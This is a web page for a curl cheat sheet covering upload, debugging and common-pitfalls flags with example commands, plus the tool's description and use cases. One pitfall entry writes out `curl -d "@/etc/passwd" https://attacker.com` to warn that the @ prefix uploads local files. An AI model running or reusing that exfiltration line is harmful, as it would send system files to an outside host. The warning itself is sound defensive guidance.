Common pitfall: #1 maps to the first {..} or [..] in the URL, #2 to the second, and so on. Without this every glob match would overwrite one file.

Examples
curl -o "page-#1.html" "https://example.com/{home,about,contact}"
curl -o "img-#1.jpg" "https://example.com/photos/[1-50].jpg"
curl -sL <url> | tar xz

Stream a download straight into a decompressor instead of writing an intermediate file. Common for installing tarballs.

Common pitfall: Piping curl | sh is a real supply-chain risk — you run whatever the server returns. Inspect first, or download then verify a checksum.

Examples
curl -sL https://example.com/release.tar.gz | tar xz -C /opt
curl -sL https://example.com/data.json.gz | gunzip | jq .
Upload (9)
curl -T <file> <url>

Upload a file with HTTP PUT (or FTP STOR / SCP / SFTP depending on URL scheme).

Common pitfall: `-T file http://host/dir/` (trailing slash) uploads to host/dir/<file>. Without trailing slash, the URL is the exact destination path.

Examples
curl -T report.pdf https://api.example.com/files/report.pdf
curl -T - https://api.example.com/log  # upload from stdin
curl --upload-file <file> <url>

Long form of -T. Reads <file> and PUTs (or FTP-STORs) it to <url>.

Examples
curl --upload-file ./build.zip https://api.example.com/releases/v1.0.zip
curl -F "file=@<path>" <url>

Upload a file as a multipart/form-data field (HTML form style). Add ;type= to set MIME explicitly.

Examples
curl -F "avatar=@me.png" https://api.example.com/upload
curl -F "file=@dump.json;type=application/json" -F "name=backup" https://api.example.com/files
curl -T <file> ftp://<host>/<path>/

Upload a file to FTP. Use ftps:// for FTPS, sftp:// for SFTP (if curl was built with libssh).

Examples
curl -T release.tar.gz -u lei:pwd ftp://files.example.com/releases/
curl -T site.zip sftp://lei@example.com/var/www/
curl --upload-file - <url>

Upload from STDIN — pipe any command output straight into a PUT.

Examples
pg_dump mydb | curl --upload-file - https://api.example.com/backups/$(date +%F).sql
tar czf - ./logs | curl -T - https://api.example.com/logs/today.tar.gz
curl --ftp-create-dirs -T <file> ftp://<host>/<deep>/<path>/

Create missing remote directories on the FTP server before storing the file, instead of failing on a non-existent path.

Examples
curl --ftp-create-dirs -T build.zip -u lei:pwd ftp://files.example.com/releases/2026/05/
curl -T <file> --user <u>:<p> sftp://<host>/<path>

Upload over SFTP (SSH file transfer). Requires a curl built with libssh2 / libssh — check `curl --version` for "sftp".

Examples
curl -T site.zip --user lei:pwd sftp://example.com/var/www/site.zip
curl -T site.zip --key ~/.ssh/id_ed25519 sftp://lei@example.com/var/www/
curl -T <file> --header "Content-Type: <mime>" <url>

A raw PUT upload (-T) sends no Content-Type by default; set it explicitly so the server stores / parses the bytes correctly.

Examples
curl -T avatar.png -H "Content-Type: image/png" https://api.example.com/users/1/avatar
curl -T data.csv -H "Content-Type: text/csv" https://api.example.com/import
curl -F "meta=<json>;type=application/json" -F "file=@<path>" <url>

Mix a JSON metadata part and a binary file part in one multipart request — the typical "upload file with metadata" API shape.

Examples
curl -F 'meta={"name":"report"};type=application/json' -F "file=@report.pdf" https://api.example.com/upload
Debug (17)
curl --trace <file> <url>

Full binary trace of EVERYTHING (request, response, TLS) to <file>. Use `-` for stdout.

Examples
curl --trace - https://example.com 2>&1 | less
curl --trace trace.bin https://example.com
curl --trace-ascii <file> <url>

Like --trace but text-friendly (binary chunks replaced with hex previews). Easier to read.

Examples
curl --trace-ascii trace.log https://example.com
curl --trace-ascii - https://api.example.com/x | grep -v "^==" | less
curl -w '%{http_code}\n' -o /dev/null -s <url>

Print just the HTTP status code. Perfect for health-check scripts.

Examples
curl -w '%{http_code}\n' -o /dev/null -s https://example.com
[ "$(curl -w '%{http_code}' -o /dev/null -s https://example.com)" = 200 ] && echo OK
curl -w '@<format-file>' <url>

Print custom timing + transfer info after the response. Format file holds the template.

Common pitfall: Useful variables: time_namelookup, time_connect, time_appconnect (TLS), time_starttransfer (TTFB), time_total, size_download, speed_download.

Examples
curl -w 'DNS: %{time_namelookup}s\nConnect: %{time_connect}s\nTTFB: %{time_starttransfer}s\nTotal: %{time_total}s\n' -o /dev/null -s https://example.com
curl --resolve-show <url>

Together with -v, prints exactly which IP curl resolved the hostname to. Use --resolve to override.

Examples
curl -v https://example.com 2>&1 | grep "Trying"
curl --http2 -v <url>

Force HTTP/2 (over TLS). Verbose mode shows the stream / frame negotiation.

Examples
curl --http2 -v https://example.com 2>&1 | grep -i "h2"
curl --http2-prior-knowledge -v http://localhost:8080/  # h2c plaintext
curl --http3 -v <url>

Try HTTP/3 (QUIC). Only available if your curl was built with HTTP/3 support.

Examples
curl --http3 -v https://cloudflare-quic.com
curl --next <url2>

Run multiple independent requests in one curl invocation. Each --next resets per-request state.

Examples
curl -o a.html https://example.com/a --next -o b.html https://example.com/b
curl --config <file>

Read curl args from a config file (one flag per line). Great for long requests + secret hygiene.

Examples
curl --config request.curl  # request.curl contains: -H "Auth: $TOKEN" \n https://api.example.com
curl -w '%{time_namelookup} %{time_connect} %{time_appconnect} %{time_starttransfer} %{time_total}\n' -o /dev/null -s <url>

Dump the full timing breakdown in one line: DNS, TCP connect, TLS handshake, TTFB, and total. The classic latency-debugging one-liner.

Common pitfall: time_appconnect is 0 for plain HTTP (no TLS). The gap between time_connect and time_appconnect is your TLS handshake cost.

Examples
curl -w 'dns=%{time_namelookup} tls=%{time_appconnect} ttfb=%{time_starttransfer} total=%{time_total}\n' -o /dev/null -s https://example.com
curl -w '%{json}' -o /dev/null -s <url>

Emit ALL of curl's -w variables as a single JSON object (curl 7.70+). Pipe straight into jq for structured timing analysis.

Examples
curl -w '%{json}' -o /dev/null -s https://example.com | jq '{code:.http_code, ttfb:.time_starttransfer, total:.time_total}'
curl --trace-ids --trace-ascii - <url>

Add transfer + connection IDs to each trace line (curl 8.4+), so you can untangle which line belongs to which request in a multi-request run.

Examples
curl --trace-ids --trace-ascii - https://example.com/a --next https://example.com/b
curl --trace-time --trace-ascii <file> <url>

Prefix every trace line with a timestamp. Essential when you need to correlate the trace with server-side logs.

Examples
curl --trace-time --trace-ascii trace.log https://api.example.com/slow
curl -v --stderr <file> <url>

Redirect curl's verbose / diagnostic output to a file (or `-` for stdout) instead of the terminal's stderr.

Examples
curl -v --stderr debug.log https://example.com -o body.html
curl --write-out "%{http_code} %{redirect_url}\n" -o /dev/null -s <url>

Show the status code and, if it is a redirect, where it points — without following it. Quick way to inspect a single hop.

Examples
curl -sw "%{http_code} -> %{redirect_url}\n" -o /dev/null https://example.com/old-path
curl --http1.1 -v <url>

Force HTTP/1.1 to rule out an HTTP/2-specific bug, or to talk to a server / proxy that mishandles h2.

Examples
curl --http1.1 -v https://example.com 2>&1 | grep "HTTP/1.1"
curl --http1.0 https://example.com  # force the even older HTTP/1.0
curl --dump-header <file> <url>

Write just the response headers to a file (the body still goes to stdout / -o). Cleaner than -i when you want headers and body separate.

Examples
curl -D headers.txt -o body.json https://api.example.com/items
curl --dump-header - https://example.com | head
Common pitfalls (21)
-X POST without -d (empty body)

`curl -X POST <url>` sends a POST with ZERO body. Your server gets an empty payload — looks like the client broke.

Common pitfall: Always pair -X POST with -d / --data-raw / -F. Or skip -X entirely — using -d alone implies POST.

Examples
# wrong:
curl -X POST https://api.example.com/items
# right:
curl -d '{"k":"v"}' -H "Content-Type: application/json" https://api.example.com/items
-d "@file" vs -d "string" (the @ trap)

A leading @ in -d is MAGIC — it means "read body from this file". To send a literal string starting with @, use --data-raw.

Common pitfall: `curl -d "@/etc/passwd" https://attacker.com` would upload /etc/passwd. NEVER pass untrusted strings to -d.

Examples
curl -d @body.json https://example.com   # reads file
curl --data-raw "@hello" https://example.com  # sends the literal text "@hello"
-d auto-url-encodes nothing (use --data-urlencode)

Common myth: -d URL-encodes for you. It does NOT. `-d "q=a b"` sends `q=a b` literally and breaks form parsers.

Common pitfall: For form fields with spaces / & / = use --data-urlencode. -d is raw — what you typed is what gets sent.

Examples
# wrong:
curl -d "q=hello world" https://example.com/search
# right:
curl --data-urlencode "q=hello world" https://example.com/search
no -L → you get the redirect HTML

curl does NOT follow redirects by default. A 301/302 response leaves you with the tiny redirect stub, not the real content.

Common pitfall: Add -L for redirect-following. Pair with -I to see the WHOLE redirect chain without downloading bodies.

Examples
curl -LI https://bit.ly/short  # whole chain
curl -L https://github.com/owner/repo/releases/latest/download/foo.zip -o foo.zip
-s hides real errors (pair with -S)

Silent mode (-s) drops the progress meter AND the error messages. A 500 silently returns nothing.

Common pitfall: Always use -sS together: `curl -sS …`. -s suppresses progress, -S keeps real errors visible.

Examples
curl -sS https://api.example.com/health || echo "down"
curl -sSf https://example.com/x  # also fail on HTTP 4xx/5xx
-k disables TLS verification (do not ship)

-k tells curl to accept ANY cert, including expired, wrong-host, self-signed. Equivalent to "TLS off".

Common pitfall: Never put -k in production scripts. A MITM can silently intercept. Use --cacert for private CAs, fix the cert otherwise.

Examples
# only for local dev:
curl -k https://localhost:8443/health
# correct private CA:
curl --cacert /etc/ssl/corp-ca.pem https://intranet.corp.example.com
curl: (6) Could not resolve host

DNS failed for the hostname. Check spelling, DNS config (/etc/resolv.conf), and that you are not behind a captive portal.

Common pitfall: Inside Docker on Linux, the default DNS is 127.0.0.11 (embedded). If you set --network host you inherit host DNS.

Examples
dig example.com
curl --resolve example.com:443:1.2.3.4 https://example.com  # bypass DNS
curl: (7) Failed to connect / Connection refused

TCP could not connect. The host is up but no process is listening on that port — or a firewall is blocking it.

Common pitfall: On macOS / Linux, check with `lsof -i :<port>` or `ss -tlnp`. In Docker, did you publish the port (-p) and is the app binding 0.0.0.0 not 127.0.0.1?

Examples
ss -tlnp | grep :8080
docker run -p 8080:80 nginx  # publish
curl: (28) Operation timed out

Either the connect or the transfer timed out. Add --connect-timeout and --max-time to set tight bounds + faster failure.

Examples
curl --connect-timeout 5 --max-time 15 https://api.example.com
curl --retry 3 --retry-delay 2 https://api.example.com
curl: (35) SSL handshake failed

TLS could not negotiate. Common causes: missing SNI, server requires TLS 1.2+ but client tries TLS 1.0, or cipher mismatch.

Common pitfall: Test with `openssl s_client -connect host:443 -servername host`. Try `--tls-max 1.2` or `--ciphers DEFAULT@SECLEVEL=1` for legacy servers.

Examples
curl -v --tlsv1.2 https://legacy.example.com
openssl s_client -connect example.com:443 -servername example.com
wget vs curl — when to use which

wget = recursive download tool (mirror sites). curl = scriptable HTTP client (call APIs, build requests). They overlap on single-file download but the goals differ.

Common pitfall: wget retries by default, curl does not. wget follows redirects by default, curl does not. The flags differ enough that scripts are not portable between them.

Examples
wget -r -np https://example.com/docs/   # mirror
curl -L -O https://example.com/file.zip       # single file
single vs double quotes around JSON bodies

In bash, single quotes keep $ and " literal, which is what JSON needs. Double quotes let the shell expand $vars and eat your quotes.

Common pitfall: Wrap JSON in single quotes: -d '{"k":"v"}'. If you need a shell variable inside, close-and-reopen: -d '{"id":"'"$ID"'"}'.

Examples
# wrong (shell eats the quotes):
curl -d "{\"k\":\"v\"}" https://api.example.com
# right:
curl -d '{"k":"v"}' -H "Content-Type: application/json" https://api.example.com
curl: (60) SSL certificate problem

curl could not verify the server cert against its CA bundle — usually a self-signed cert, an expired cert, or a missing intermediate.

Common pitfall: Do NOT reflexively reach for -k. Diagnose first: `openssl s_client -connect host:443 -showcerts`. Fix the chain or trust the real CA with --cacert.

Examples
openssl s_client -connect example.com:443 -showcerts </dev/null
curl --cacert /path/to/intermediate-bundle.pem https://example.com
curl: (52) Empty reply from server

The server accepted the TCP connection but closed it without sending any HTTP response — often a crash, a protocol mismatch, or hitting an HTTPS port with http://.

Common pitfall: Check you used the right scheme: hitting an HTTPS-only port with http:// (or vice versa) gives exactly this. Try the other scheme + -v.

Examples
curl -v https://example.com:443/  # try https if http gave (52)
curl -v http://localhost:8080/   # try http if it is not TLS
-w timing on curl 7.x vs newer for time_appconnect

time_appconnect (the TLS handshake timer) is 0 for plain-HTTP requests. People misread that 0 as "TLS is instant" — it just means no TLS happened.

Common pitfall: Only HTTPS URLs populate time_appconnect. If you expected TLS but see 0, you are probably hitting http:// by mistake.

Examples
curl -w 'tls=%{time_appconnect}\n' -o /dev/null -s https://example.com
curl | sh — the supply-chain footgun

Piping a remote script straight into a shell runs whatever the server returns at that instant, with your privileges. A compromised or MITM'd endpoint owns you.

Common pitfall: Download to a file first, read it, verify a published checksum / signature, THEN run. Never pipe untrusted URLs into sh.

Examples
# safer:
curl -fsSL https://example.com/install.sh -o install.sh
sha256sum -c install.sha256
less install.sh && sh install.sh
-O saves redirect target name "latest" (use -OJ -L)

With -O on a redirecting URL ending in /latest, curl names the file "latest" because it derives the name from the requested URL, not the final one.

Common pitfall: Add -L to follow the redirect and -J to honor Content-Disposition. `-OJL` gives you the real filename the server intends.

Examples
# wrong:
curl -O https://example.com/download/latest
# right:
curl -OJL https://example.com/download/latest
multiple -d flags get joined with & (not overwritten)

Passing -d twice does NOT replace the body — curl joins them with an &, building one combined form body. Surprising if you expected the last to win.

Common pitfall: This is a feature for building forms: `-d a=1 -d b=2` sends `a=1&b=2`. To send raw JSON twice you almost never want this — use one -d / --json @file.

Examples
curl -d "user=lei" -d "role=admin" https://api.example.com/x  # sends user=lei&role=admin
curl: (3) URL using bad/illegal format

curl rejected the URL syntax — often unencoded spaces, stray brackets being treated as globs, or a missing scheme.

Common pitfall: Quote the whole URL, encode spaces as %20, and add -g if brackets are literal. Missing scheme? curl guesses http:// but be explicit.

Examples
curl -g "https://example.com/q?ids=[1,2,3]"
curl "https://example.com/search?q=hello%20world"
no Content-Type → API treats your JSON as form data (415)

Sending JSON with -d but no Content-Type header makes curl default to application/x-www-form-urlencoded, so strict APIs reject it with 415.

Common pitfall: Either add `-H "Content-Type: application/json"` or just use `--json` which sets it for you.

Examples
# wrong:
curl -d '{"k":"v"}' https://api.example.com
# right:
curl --json '{"k":"v"}' https://api.example.com
-L re-sends the body on redirect (and may double-charge POSTs)

On a 307/308 redirect, -L replays your POST body to the new URL. For non-idempotent endpoints (payments, "create") this can fire the action twice.

Common pitfall: Know your endpoint's redirect codes. Inspect first with -I, and prefer idempotency keys for create/payment APIs before blindly adding -L.

Examples
curl -I -X POST https://api.example.com/pay  # check for 307/308 first

What this tool does

Searchable curl cheat sheet with 80+ flags and the copy-ready one-liners you type when calling an API from the terminal. Fourteen categories: basic (-X / -i / -I / -v / -s / -o / -O / --output-dir), HTTP method (GET / POST / PUT / DELETE / PATCH / HEAD / OPTIONS), request body (-d, --data-raw, --data-binary @file, --data-urlencode, -F multipart, --form-string), headers (-H, -A user-agent, -e referer, --compressed, X-Forwarded-For), auth (Basic -u, Bearer/JWT, --digest, --ntlm, --negotiate, --anyauth, --aws-sigv4 for S3/DynamoDB without the SDK), cookies (-b, -c, --cookie-jar, full browser-style session with -b + -c together), redirects (-L, --max-redirs, --location-trusted safety), timeout & retry (--connect-timeout, --max-time, --retry, --retry-all-errors, --keepalive-time), proxy (-x, --proxy-user, --socks5, --socks5-hostname for DNS-leak safety, --noproxy), SSL/TLS (-k danger, --cacert, --cert + --key mTLS, --tlsv1.3, --resolve to pin hostname → IP, --cert-status OCSP), download (-OJ, range -r, resume -C -, --limit-rate, --parallel, URL globbing [1-100], conditional -z), upload (-T, --upload-file, multipart -F @, FTP/SFTP, upload from stdin), debug (--trace, --trace-ascii, -w '%{http_code}\\n' with time_namelookup / connect / appconnect / starttransfer / total, --http2, --http3, --next, --config). Plus a "common pitfalls" section covering eleven traps that actually waste developer days: `-X POST` without `-d` sends empty body, the `@` magic in `-d` that can leak local files, the myth that `-d` URL-encodes for you (use --data-urlencode), forgetting -L so you print a redirect stub, `-s` hiding real errors (pair with -S), `-k` disabling TLS, error codes 6 / 7 / 28 / 35 with the actual fix, when to reach for wget. Every entry has bilingual EN/ZH descriptions, the trap people hit, and one to four copy-ready examples. Search filters across command, description, pitfall and example at once; category chips scope the list; one-click copy. Fully client-side.

Tool details

Input
Files + Text + Structured content
The page exposes text boxes, numeric controls, file pickers, or structured inputs depending on the tool.
Output
Live result + Copy
The result area focuses on usable output, with copy, download, or preview actions when supported.
Privacy
Browser-side processing
The main tool logic does not call an external API, so inputs normally stay in the current tab.
Save / share
No account required
Open the page and use it; whether results survive refresh depends on the tool.
Performance budget
Initial JS <= 25 KB
No WASM budget is declared, keeping the tool quick to open on mobile.
Best fit
Developer & DevOps · Developer
Category and role tags drive related tools, internal links, and quick fit checks.

How to use

  1. 1. Input

    Paste or drop your content into the tool panel.

  2. 2. Process

    Click the button. All processing is local in your browser.

  3. 3. Copy / Download

    Copy the result or download to disk in one click.

How curl Cheatsheet fits into your work

Use it before upload, handoff, archive, support review, or any moment where a file needs one local check before it leaves your machine.

File jobs

  • Checking file type, size, metadata, and obvious mismatch signals before sharing.
  • Preparing mixed folders for upload, archive, intake, or review.
  • Keeping sensitive files in the browser instead of sending them to an account-based service.

File checks

  • Do not treat the extension alone as proof of the real file type.
  • Review metadata before a file goes to customers, vendors, or a public page.
  • Keep the original file until the copied, converted, or exported result is verified.

Good next steps

These links move the current task into a more complete workflow.

  1. 1 Docker Cheatsheet Docker command cheat sheet — 80+ commands with real examples, common mistakes, and Compose section. Open
  2. 2 HTTP Status Code Explorer HTTP status code explorer — all 70+ codes with meaning, common causes, real examples, and what to check. Open
  3. 3 DNS Record Explainer DNS record explainer — all 18 common record types (A, AAAA, CNAME, MX, TXT, SRV, etc.) with syntax, examples, and gotchas. Open

Real-world use cases

  • A staging API returns 400 and you need the exact request that works

    A POST to /orders kept 400ing in CI. You paste the failing curl here, spot that `-X POST` had no `-d` so the body was empty, add `-H "Content-Type: application/json" -d @order.json`, and the server takes it. Five minutes instead of an afternoon of guessing whether it was the gateway, the auth, or the payload.

  • Timing where the 3-second page latency actually lives

    Ops says an internal endpoint is slow but the app logs look fine. You grab the `-w` timing one-liner, run it against the host, and see time_namelookup at 1.8s while connect and starttransfer are tiny. The bottleneck is DNS, not the server. You point curl at a faster resolver, confirm 40ms, and file the ticket against DNS.

  • Reproducing an S3 call without installing the AWS SDK

    On a locked-down jump host with no pip and no aws-cli, you still need to verify a bucket policy. You copy the `--aws-sigv4` example, fill in your region and access key from env vars, and GET the object directly. One curl line replaces a whole SDK install you were never going to be allowed to do anyway.

  • Onboarding a junior who keeps shipping `-k` to production

    A new teammate disables TLS verification with `-k` to silence a cert error, then commits it. You send them the SSL/TLS section: the pitfall line explains `-k` turns off the check entirely, and the fix shows `--cacert ./internal-ca.pem` to trust the real corporate CA. The cert error goes away without opening a hole.

Common pitfalls

  • Writing `-X POST` with no `-d` and wondering why the server 400s on an empty body; drop `-X` and just use `-d` (or `-d @file.json`), which implies POST.

  • Assuming `-d` URL-encodes for you, so spaces and `&` corrupt the value; use `--data-urlencode "q=hello world"` for anything with special characters.

  • Reaching for `-k` to kill a cert error and shipping it; that disables all TLS verification, use `--cacert ./ca.pem` to trust the right CA instead.

Privacy

This cheat sheet runs entirely in your browser. The search box filters an in-memory array of curl commands, so your queries never leave the tab and nothing goes into the URL. The example commands shown are static templates with placeholder hosts and tokens; you copy them and run them in your own terminal, so no real endpoint, token, or payload ever touches this page. Safe to use behind a corporate proxy or on an air-gapped host.

FAQ

Tool combos

Folks in your role tend to reach for these alongside this tool.

Made by Toolora · 100% client-side · Updated 2026-06-13